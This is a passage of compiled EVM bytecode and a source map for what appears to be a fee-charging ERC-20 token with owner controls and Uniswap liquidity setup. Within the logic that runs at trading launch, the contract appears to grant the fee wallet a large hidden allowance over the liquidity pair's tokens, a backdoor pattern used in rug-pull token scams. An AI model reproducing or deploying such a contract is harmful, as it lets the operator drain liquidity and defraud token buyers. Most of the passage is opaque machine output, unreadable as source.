1047490611724565b6105bd6009600a6116ff565b6105cc906461f313f88061170d565b6004556105db6009600a6116ff565b6105ea906461f313f88061170d565b6005557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61061a6009600a6116ff565b610629906461f313f88061170d565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106655760405162461bcd60e51b815260040161047490611724565b601354600160a01b900460ff16156106bf5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610474565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107099030906106fa6009600a6116ff565b61043c906461f313f88061170d565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610759573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077d9190611759565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107dc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108009190611759565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561084a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086e9190611759565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d71947306108b5816001600160a01b03165f9081526001602052604090205490565b5f806108c85f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561092e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109539190611774565b505060045461096d9150610968906064611135565b6111ba565b60135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af11580156109bf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109e3919061179f565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a5f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610474565b6001600160a01b038216610ac05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610474565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b845760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610474565b6001600160a01b038216610be65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610474565b5f8111610c475760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610474565b6013545f90600160b01b900460ff161580610c6b5750601354600160a81b900460ff165b15610d23576001600160a01b0384165f90815260016020526040902054610c939083906117be565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610cc29083906117d1565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d159086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d4d57505f546001600160a01b03848116911614155b15610fa657600f5415610d5f57506010545b600f545f03610d8257600c54600f5411610d7b57600854610d7f565b600a545b90505b6013546001600160a01b038581169116148015610dad57506012546001600160a01b03848116911614155b8015610dd157506001600160a01b0383165f9081526003602052604090205460ff16155b15610ed057600454821115610e285760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d6178416d6f756e7436312e000000000000006044820152606401610474565b60055482610e4a856001600160a01b03165f9081526001602052604090205490565b610e5491906117d1565b1115610ea25760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610474565b600c54600f5411610eb557600854610eb9565b600a545b600f80549192505f610eca836117e4565b91905055505b6013546001600160a01b038481169116148015610ef657506001600160a01b0384163014155b15610f1557600d54600f5411610f0e57600954610f12565b600b545b90505b305f90815260016020526040902054601354600160a81b900460ff16158015610f4b57506013546001600160a01b038581169116145b8015610f605750601354600160b01b900460ff165b15610fa45760065481118015610f795750600e54600f54115b15610f9b57610f9b610f9684610f918460075461123a565b61123a565b61124e565b610fa4476113be565b505b5f811561103757610fc26064610fbc8486611135565b906113f9565b305f90815260016020526040902054909150610fde908261143a565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061102e9085815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546110599084611498565b6001600160a01b0386165f9081526001602052604090205561109c61107e8483611498565b6001600160a01b0386165f908152600160205260409020549061143a565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110e58685611498565b60405190815260200160405180910390a35050505050565b5f81848411156111205760405162461bcd60e51b81526004016104749190611505565b505f61112c84866117be565b95945050505050565b5f825f0361114457505f6103bd565b5f61114f838561170d565b90508261115c85836117fc565b146111b35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610474565b9392505050565b604080518082019091526013546001600160a01b0390811682526011541660208201526111e882603261170d565b6111f39060646117d1565b6111fe90609661170d565b6112099060966117d1565b81516001600160a01b039081165f908152600260209081526040808320958201519093168252939093529091205550565b5f81831161124857826111b3565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112945761129461181b565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112eb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061130f9190611759565b816001815181106113225761132261181b565b6001600160a01b03928316602091820292909201015260125461134891309116846109fd565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113809085905f9086903090429060040161182f565b5f604051808303815f87803b158015611397575f80fd5b505af11580156113a9573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6011546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156113f5573d5f803e3d5ffd5b5050565b5f6111b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114d9565b5f8061144683856117d1565b9050838110156111b35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610474565b5f6111b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110fd565b5f81836114f95760405162461bcd60e51b81526004016104749190611505565b505f61112c84866117fc565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610579575f80fd5b5f806040838503121561155f575f80fd5b823561156a8161153a565b946020939093013593505050565b5f805f6060848603121561158a575f80fd5b83356115958161153a565b925060208401356115a58161153a565b929592945050506040919091013590565b5f602082840312156115c6575f80fd5b81356111b38161153a565b5f80604083850312156115e2575f80fd5b82356115ed8161153a565b915060208301356115fd8161153a565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156116575780850481111561163b5761163b611608565b600184161561164957908102905b60019390931c928002611620565b935093915050565b5f8261166d575060016103bd565b8161167957505f6103bd565b816001811461168f5760028114611699576116b5565b60019150506103bd565b60ff8411156116aa576116aa611608565b50506001821b6103bd565b5060208310610133831016604e8410600b84101617156116d8575081810a6103bd565b6116e45f19848461161c565b805f19048211156116f7576116f7611608565b029392505050565b5f6111b360ff84168361165f565b80820281158282048414176103bd576103bd611608565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611769575f80fd5b81516111b38161153a565b5f805f60608486031215611786575f80fd5b5050815160208301516040909301519094929350919050565b5f602082840312156117af575f80fd5b815180151581146111b3575f80fd5b818103818111156103bd576103bd611608565b808201808211156103bd576103bd611608565b5f600182016117f5576117f5611608565b5060010190565b5f8261181657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561187f5783516001600160a01b0316835260209384019390920191600101611858565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f5c604f6e389ff88406b9e3fd646c0718662c7ccbb396c3451eda36b4033c2d964736f6c634300081a0033

3585:7857:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4102:49;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;4102:49:0;;;;;;;;5423:83;;;;;;;;;;-1:-1:-1;5493:5:0;;;;;;;;;;;;;;;;;5423:83;;;;;;;:::i;6246:161::-;;;;;;;;;;-1:-1:-1;6246:161:0;;;;;:::i;:::-;;:::i;:::-;;;1292:14:1;;1285:22;1267:41;;1255:2;1240:18;6246:161:0;1127:187:1;5698:97:0;;;;;;;;;;;;;:::i;6413:311::-;;;;;;;;;;-1:-1:-1;6413:311:0;;;;;:::i;:::-;;:::i;5605:83::-;;;;;;;;;;-1:-1:-1;5605:83:0;;3888:1;1974:36:1;;1962:2;1947:18;5605:83:0;1832:184:1;4214:48:0;;;;;;;;;;;;;;;;4269:47;;;;;;;;;;;;;;;;9447:147;;;;;;;;;;-1:-1:-1;9447:147:0;;;;;:::i;:::-;;:::i;:::-;;5801:119;;;;;;;;;;-1:-1:-1;5801:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5894:18:0;5867:7;5894:18;;;:9;:18;;;;;;;5801:119;2163:148;;;;;;;;;;;;;:::i;4158:49::-;;;;;;;;;;;;;;;;1949:79;;;;;;;;;;-1:-1:-1;1987:7:0;2014:6;1949:79;;-1:-1:-1;;;;;2014:6:0;;;2679:51:1;;2667:2;2652:18;1949:79:0;2533:203:1;5512:87:0;;;;;;;;;;-1:-1:-1;5584:7:0;;;;;;;;;;;;-1:-1:-1;;;5584:7:0;;;;5512:87;;9882:111;;;;;;;;;;;;;:::i;5926:167::-;;;;;;;;;;-1:-1:-1;5926:167:0;;;;;:::i;:::-;;:::i;9282:159::-;;;;;;;;;;;;;:::i;10608:831::-;;;;;;;;;;;;;:::i;6099:141::-;;;;;;;;;;-1:-1:-1;6099:141:0;;;;;:::i;:::-;-1:-1:-1;;;;;6207:16:0;;;6180:7;6207:16;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;6099:141;6246:161;6321:4;6338:39;1608:10;6361:7;6370:6;6338:8;:39::i;:::-;-1:-1:-1;6395:4:0;6246:161;;;;;:::o;5698:97::-;5751:7;3948:13;3888:1;3948:2;:13;:::i;:::-;3933:28;;:12;:28;:::i;:::-;5771:16;;5698:97;:::o;6413:311::-;6511:4;6528:36;6538:6;6546:9;6557:6;6528:9;:36::i;:::-;6575:119;6584:6;1608:10;6606:87;6642:6;6606:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6606:17:0;;;;;;:9;:17;;;;;;;;1608:10;6606:31;;;;;;;;;;:35;:87::i;:::-;6575:8;:119::i;:::-;-1:-1:-1;6712:4:0;6413:311;;;;;:::o;9447:147::-;2076:6;;-1:-1:-1;;;;;2076:6:0;1608:10;2076:22;2068:67;;;;-1:-1:-1;;;2068:67:0;;;;;;;:::i;:::-;;;;;;;;;9526:10:::1;:19:::0;;-1:-1:-1;;;;;9526:19:0;;::::1;-1:-1:-1::0;;;;;;9526:19:0;;::::1;::::0;::::1;::::0;;:10:::1;9556:23:::0;;;:15:::1;:23;::::0;;;;:30;;-1:-1:-1;;9556:30:0::1;9526:19:::0;9556:30:::1;::::0;;9447:147::o;2163:148::-;2076:6;;-1:-1:-1;;;;;2076:6:0;1608:10;2076:22;2068:67;;;;-1:-1:-1;;;2068:67:0;;;;;;;:::i;:::-;2270:1:::1;2254:6:::0;;2233:40:::1;::::0;-1:-1:-1;;;;;2254:6:0;;::::1;::::0;2233:40:::1;::::0;2270:1;;2233:40:::1;2301:1;2284:19:::0;;-1:-1:-1;;;;;;2284:19:0::1;::::0;;2163:148::o;9882:111::-;2076:6;;-1:-1:-1;;;;;2076:6:0;1608:10;2076:22;2068:67;;;;-1:-1:-1;;;2068:67:0;;;;;;;:::i;:::-;9934:51:::1;::::0;9942:10:::1;::::0;9963:21:::1;9934:51:::0;::::1;;;::::0;::::1;::::0;;;9963:21;9942:10;9934:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9882:111::o:0;5926:167::-;6004:4;6021:42;1608:10;6045:9;6056:6;6021:9;:42::i;9282:159::-;2076:6;;-1:-1:-1;;;;;2076:6:0;1608:10;2076:22;2068:67;;;;-1:-1:-1;;;2068:67:0;;;;;;;:::i;:::-;3948:13:::1;3888:1;3948:2;:13;:::i;:::-;3933:28;::::0;:12:::1;:28;:::i;:::-;9337:12;:24:::0;3948:13:::1;3888:1;3948:2;:13;:::i;:::-;3933:28;::::0;:12:::1;:28;:::i;:::-;9363:12;:24:::0;9403:29:::1;3948:13;3888:1;3948:2;:13;:::i;:::-;3933:28;::::0;:12:::1;:28;:::i;:::-;9403:29;::::0;160:25:1;;;148:2;133:18;9403:29:0::1;;;;;;;9282:159::o:0;10608:831::-;2076:6;;-1:-1:-1;;;;;2076:6:0;1608:10;2076:22;2068:67;;;;-1:-1:-1;;;2068:67:0;;;;;;;:::i;:::-;10670:11:::1;::::0;-1:-1:-1;;;10670:11:0;::::1;;;10669:12;10661:48;;;::::0;-1:-1:-1;;;10661:48:0;;5434:2:1;10661:48:0::1;::::0;::::1;5416:21:1::0;5473:2;5453:18;;;5446:30;5512:25;5492:18;;;5485:53;5555:18;;10661:48:0::1;5232:347:1::0;10661:48:0::1;10720:13;:102:::0;;-1:-1:-1;;;;;;10720:102:0::1;10769:42;10720:102:::0;;::::1;::::0;;;10833:58:::1;::::0;10850:4:::1;::::0;3948:13:::1;3888:1;3948:2;:13;:::i;:::-;3933:28;::::0;:12:::1;:28;:::i;10833:58::-;10934:13;;;;;;;;;-1:-1:-1::0;;;;;10934:13:0::1;-1:-1:-1::0;;;;;10934:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10916:53:0::1;;10992:4;11012:13;;;;;;;;;-1:-1:-1::0;;;;;11012:13:0::1;-1:-1:-1::0;;;;;11012:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10916:127;::::0;-1:-1:-1;;;;;;10916:127:0::1;::::0;;;;;;-1:-1:-1;;;;;6032:32:1;;;10916:127:0::1;::::0;::::1;6014:51:1::0;6101:32;;6081:18;;;6074:60;5987:18;;10916:127:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10902:11;:141:::0;;-1:-1:-1;;;;;10902:141:0;;::::1;-1:-1:-1::0;;;;;;10902:141:0;;::::1;;::::0;;11054:13:::1;::::0;::::1;:29;11091:21;11136:4;11156:24;11136:4:::0;-1:-1:-1;;;;;5894:18:0;5867:7;5894:18;;;:9;:18;;;;;;;5801:119;11156:24:::1;11195:1;11211::::0;11227:7:::1;1987::::0;2014:6;-1:-1:-1;;;;;2014:6:0;;1949:79;11227:7:::1;11054:221;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11054:221:0;;;-1:-1:-1;;;;;6466:32:1;;;11054:221:0::1;::::0;::::1;6448:51:1::0;6515:18;;;6508:34;;;;6558:18;;;6551:34;;;;6601:18;;;6594:34;6665:32;;;6644:19;;;6637:61;11249:15:0::1;6714:19:1::0;;;6707:35;6420:19;;11054:221:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11281:12:0::1;::::0;11276:27:::1;::::0;-1:-1:-1;11281:21:0::1;::::0;11298:3:::1;11281:16;:21::i;:::-;11276:4;:27::i;:::-;11322:11;::::0;11351:13:::1;::::0;11315:67:::1;::::0;-1:-1:-1;;;11315:67:0;;-1:-1:-1;;;;;11351:13:0;;::::1;11315:67;::::0;::::1;7388:51:1::0;-1:-1:-1;;7455:18:1;;;7448:34;11322:11:0;::::1;::::0;11315:27:::1;::::0;7361:18:1;;11315:67:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11393:11:0::1;:18:::0;;-1:-1:-1;;;;11413:18:0;-1:-1:-1;;;11413:18:0;;;10608:831::o;6730:333::-;-1:-1:-1;;;;;6823:19:0;;6815:68;;;;-1:-1:-1;;;6815:68:0;;7977:2:1;6815:68:0;;;7959:21:1;8016:2;7996:18;;;7989:30;8055:34;8035:18;;;8028:62;-1:-1:-1;;;8106:18:1;;;8099:34;8150:19;;6815:68:0;7775:400:1;6815:68:0;-1:-1:-1;;;;;6902:21:0;;6894:68;;;;-1:-1:-1;;;6894:68:0;;8382:2:1;6894:68:0;;;8364:21:1;8421:2;8401:18;;;8394:30;8460:34;8440:18;;;8433:62;-1:-1:-1;;;8511:18:1;;;8504:32;8553:19;;6894:68:0;8180:398:1;6894:68:0;-1:-1:-1;;;;;6973:16:0;;;;;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;:34;;;7023:32;;160:25:1;;;7023:32:0;;133:18:1;7023:32:0;;;;;;;6730:333;;;:::o;7069:2207::-;-1:-1:-1;;;;;7159:18:0;;7151:68;;;;-1:-1:-1;;;7151:68:0;;8785:2:1;7151:68:0;;;8767:21:1;8824:2;8804:18;;;8797:30;8863:34;8843:18;;;8836:62;-1:-1:-1;;;8914:18:1;;;8907:35;8959:19;;7151:68:0;8583:401:1;7151:68:0;-1:-1:-1;;;;;7238:16:0;;7230:64;;;;-1:-1:-1;;;7230:64:0;;9191:2:1;7230:64:0;;;9173:21:1;9230:2;9210:18;;;9203:30;9269:34;9249:18;;;9242:62;-1:-1:-1;;;9320:18:1;;;9313:33;9363:19;;7230:64:0;8989:399:1;7230:64:0;7324:1;7313:8;:12;7305:66;;;;-1:-1:-1;;;7305:66:0;;9595:2:1;7305:66:0;;;9577:21:1;9634:2;9614:18;;;9607:30;9673:34;9653:18;;;9646:62;-1:-1:-1;;;9724:18:1;;;9717:39;9773:19;;7305:66:0;9393:405:1;7305:66:0;7413:11;;7382:13;;-1:-1:-1;;;7413:11:0;;;;7412:12;;:22;;-1:-1:-1;7428:6:0;;-1:-1:-1;;;7428:6:0;;;;7412:22;7408:223;;;-1:-1:-1;;;;;7469:15:0;;;;;;:9;:15;;;;;;:26;;7487:8;;7469:26;:::i;:::-;-1:-1:-1;;;;;7451:15:0;;;;;;;:9;:15;;;;;;:44;;;;7526:13;;;;;;;:24;;7542:8;;7526:24;:::i;:::-;-1:-1:-1;;;;;7510:13:0;;;;;;;:9;:13;;;;;;;:40;;;;7570:28;;;;;;;;;;7589:8;160:25:1;;148:2;133:18;;14:177;7570:28:0;;;;;;;;7613:7;7069:2207;;;:::o;7408:223::-;1987:7;2014:6;-1:-1:-1;;;;;7645:15:0;;;2014:6;;7645:15;;;;:32;;-1:-1:-1;1987:7:0;2014:6;-1:-1:-1;;;;;7664:13:0;;;2014:6;;7664:13;;7645:32;7641:1216;;;7697:9;;:11;7694:72;;-1:-1:-1;7737:12:0;;7694:72;7783:9;;7794:1;7783:12;7780:116;;7835:15;;7825:9;;:25;7824:55;;7865:14;;7824:55;;;7852:12;;7824:55;7815:65;;7780:116;7922:11;;-1:-1:-1;;;;;7914:19:0;;;7922:11;;7914:19;:51;;;;-1:-1:-1;7951:13:0;;-1:-1:-1;;;;;7937:28:0;;;7951:13;;7937:28;;7914:51;:76;;;;-1:-1:-1;;;;;;7971:19:0;;;;;;:15;:19;;;;;;;;7969:21;7914:76;7910:393;;;8032:12;;8020:8;:24;;8012:62;;;;-1:-1:-1;;;8012:62:0;;10268:2:1;8012:62:0;;;10250:21:1;10307:2;10287:18;;;10280:30;10346:27;10326:18;;;10319:55;10391:18;;8012:62:0;10066:349:1;8012:62:0;8129:12;;8117:8;8101:13;8111:2;-1:-1:-1;;;;;5894:18:0;5867:7;5894:18;;;:9;:18;;;;;;;5801:119;8101:13;:24;;;;:::i;:::-;:40;;8093:79;;;;-1:-1:-1;;;8093:79:0;;10622:2:1;8093:79:0;;;10604:21:1;10661:2;10641:18;;;10634:30;10700:28;10680:18;;;10673:56;10746:18;;8093:79:0;10420:350:1;8093:79:0;8211:15;;8201:9;;:25;8200:55;;8241:14;;8200:55;;;8228:12;;8200:55;8275:9;:11;;8191:65;;-1:-1:-1;8275:9:0;:11;;;:::i;:::-;;;;;;7910:393;8326:11;;-1:-1:-1;;;;;8320:17:0;;;8326:11;;8320:17;:41;;;;-1:-1:-1;;;;;;8341:20:0;;8356:4;8341:20;;8320:41;8317:149;;;8402:16;;8392:9;;:26;8391:58;;8434:15;;8391:58;;;8420:13;;8391:58;8382:68;;8317:149;8529:4;8480:28;5894:18;;;:9;:18;;;;;;8555:6;;-1:-1:-1;;;8555:6:0;;;;8554:7;:28;;;;-1:-1:-1;8571:11:0;;-1:-1:-1;;;;;8565:17:0;;;8571:11;;8565:17;8554:28;:43;;;;-1:-1:-1;8586:11:0;;-1:-1:-1;;;8586:11:0;;;;8554:43;8550:296;;;8644:11;;8621:20;:34;:68;;;;;8671:18;;8659:9;;:30;8621:68;8618:161;;;8712:67;8722:56;8728:8;8738:39;8744:20;8766:10;;8738:5;:39::i;:::-;8722:5;:56::i;:::-;8712:9;:67::i;:::-;8798:32;8808:21;8798:9;:32::i;:::-;7679:1178;7641:1216;8867:13;8896:7;;8893:202;;8925:28;8949:3;8925:19;:5;8935:8;8925:9;:19::i;:::-;:23;;:28::i;:::-;9011:4;8993:24;;;;:9;:24;;;;;;8919:34;;-1:-1:-1;8993:35:0;;8919:34;8993:28;:35::i;:::-;8986:4;8968:24;;;;:9;:24;;;;;;;:60;;;;9048:35;;-1:-1:-1;;;;;9048:35:0;;;;;;;9077:5;160:25:1;;148:2;133:18;;14:177;9048:35:0;;;;;;;;8893:202;-1:-1:-1;;;;;9121:15:0;;;;;;:9;:15;;;;;;:29;;9141:8;9121:19;:29::i;:::-;-1:-1:-1;;;;;9105:15:0;;;;;;:9;:15;;;;;:45;9175:38;9193:19;:8;9206:5;9193:12;:19::i;:::-;-1:-1:-1;;;;;9175:13:0;;;;;;:9;:13;;;;;;;:17;:38::i;:::-;-1:-1:-1;;;;;9161:13:0;;;;;;;:9;:13;;;;;:52;;;;9229:39;;;9248:19;:8;9261:5;9248:12;:19::i;:::-;9229:39;;160:25:1;;;148:2;133:18;9229:39:0;;;;;;;7140:2136;;7069:2207;;;:::o;2797:190::-;2883:7;2919:12;2911:6;;;;2903:29;;;;-1:-1:-1;;;2903:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2943:9:0;2955:5;2959:1;2955;:5;:::i;:::-;2943:17;2797:190;-1:-1:-1;;;;;2797:190:0:o;2995:246::-;3053:7;3077:1;3082;3077:6;3073:47;;-1:-1:-1;3107:1:0;3100:8;;3073:47;3130:9;3142:5;3146:1;3142;:5;:::i;:::-;3130:17;-1:-1:-1;3175:1:0;3166:5;3170:1;3130:17;3166:5;:::i;:::-;:10;3158:56;;;;-1:-1:-1;;;3158:56:0;;11339:2:1;3158:56:0;;;11321:21:1;11378:2;11358:18;;;11351:30;11417:34;11397:18;;;11390:62;-1:-1:-1;;;11468:18:1;;;11461:31;11509:19;;3158:56:0;11137:397:1;3158:56:0;3232:1;2995:246;-1:-1:-1;;;2995:246:0:o;9706:170::-;9756:48;;;;;;;;;9780:11;;-1:-1:-1;;;;;9780:11:0;;;9756:48;;9793:10;;;9756:48;;;;9848:11;:8;9857:2;9848:11;:::i;:::-;:15;;9860:3;9848:15;:::i;:::-;9847:21;;9865:3;9847:21;:::i;:::-;9843:25;;:3;:25;:::i;:::-;9825:7;;-1:-1:-1;;;;;9815:18:0;;;;;;;:9;9825:7;9815:18;;;;;;;9834:7;;;;9815:27;;;;;;;;;;;;:53;-1:-1:-1;9706:170:0:o;9600:100::-;9659:7;9686:1;9684;:3;9683:9;;9691:1;9683:9;;;-1:-1:-1;9689:1:0;9676:16;-1:-1:-1;9600:100:0:o;9999:470::-;5003:6;:13;;-1:-1:-1;;;;5003:13:0;-1:-1:-1;;;5003:13:0;;;10094:16:::1;::::0;;10108:1:::1;10094:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10094:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10094:16:0::1;10070:40;;10139:4;10121;10126:1;10121:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10121:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10165:13:::1;::::0;:20:::1;::::0;;-1:-1:-1;;;10165:20:0;;;;:13;;;::::1;::::0;:18:::1;::::0;:20:::1;::::0;;::::1;::::0;10121:7;;10165:20;;;;;:13;:20:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10155:4;10160:1;10155:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10155:30:0;;::::1;:7;::::0;;::::1;::::0;;;;;:30;10228:13:::1;::::0;10196:60:::1;::::0;10213:4:::1;::::0;10228:13:::1;10244:11:::0;10196:8:::1;:60::i;:::-;10267:13;::::0;:194:::1;::::0;-1:-1:-1;;;10267:194:0;;-1:-1:-1;;;;;10267:13:0;;::::1;::::0;:64:::1;::::0;:194:::1;::::0;10346:11;;10267:13:::1;::::0;10388:4;;10415::::1;::::0;10435:15:::1;::::0;10267:194:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5039:6:0;:14;;-1:-1:-1;;;;5039:14:0;;;-1:-1:-1;;;;9999:470:0:o;10475:89::-;10529:10;;:27;;-1:-1:-1;;;;;10529:10:0;;;;:27;;;;;10549:6;;10529:10;:27;:10;:27;10549:6;10529:10;:27;;;;;;;;;;;;;;;;;;;;;10475:89;:::o;3249:132::-;3307:7;3334:39;3338:1;3341;3334:39;;;;;;;;;;;;;;;;;:3;:39::i;2466:179::-;2524:7;;2556:5;2560:1;2556;:5;:::i;:::-;2544:17;;2585:1;2580;:6;;2572:46;;;;-1:-1:-1;;;2572:46:0;;12969:2:1;2572:46:0;;;12951:21:1;13008:2;12988:18;;;12981:30;13047:29;13027:18;;;13020:57;13094:18;;2572:46:0;12767:351:1;2653:136:0;2711:7;2738:43;2742:1;2745;2738:43;;;;;;;;;;;;;;;;;:3;:43::i;3389:189::-;3475:7;3510:12;3503:5;3495:28;;;;-1:-1:-1;;;3495:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3534:9:0;3546:5;3550:1;3546;:5;:::i;196:418:1:-;345:2;334:9;327:21;308:4;377:6;371:13;420:6;415:2;404:9;400:18;393:34;479:6;474:2;466:6;462:15;457:2;446:9;442:18;436:50;535:1;530:2;521:6;510:9;506:22;502:31;495:42;605:2;598;594:7;589:2;581:6;577:15;573:29;562:9;558:45;554:54;546:62;;;196:418;;;;:::o;619:131::-;-1:-1:-1;;;;;694:31:1;;684:42;;674:70;;740:1;737;730:12;755:367;823:6;831;884:2;872:9;863:7;859:23;855:32;852:52;;;900:1;897;890:12;852:52;939:9;926:23;958:31;983:5;958:31;:::i;:::-;1008:5;1086:2;1071:18;;;;1058:32;;-1:-1:-1;;;755:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:255::-;2088:6;2141:2;2129:9;2120:7;2116:23;2112:32;2109:52;;;2157:1;2154;2147:12;2109:52;2196:9;2183:23;2215:31;2240:5;2215:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:375;3354:1;3372:5;3386:249;3407:1;3397:8;3394:15;3386:249;;;3457:4;3452:3;3448:14;3442:4;3439:24;3436:50;;;3466:18;;:::i;:::-;3516:1;3506:8;3502:16;3499:49;;;3530:16;;;;3499:49;3613:1;3609:16;;;;;3569:15;;3386:249;;;3266:375;;;;;;:::o;3646:902::-;3695:5;3725:8;3715:80;;-1:-1:-1;3766:1:1;3780:5;;3715:80;3814:4;3804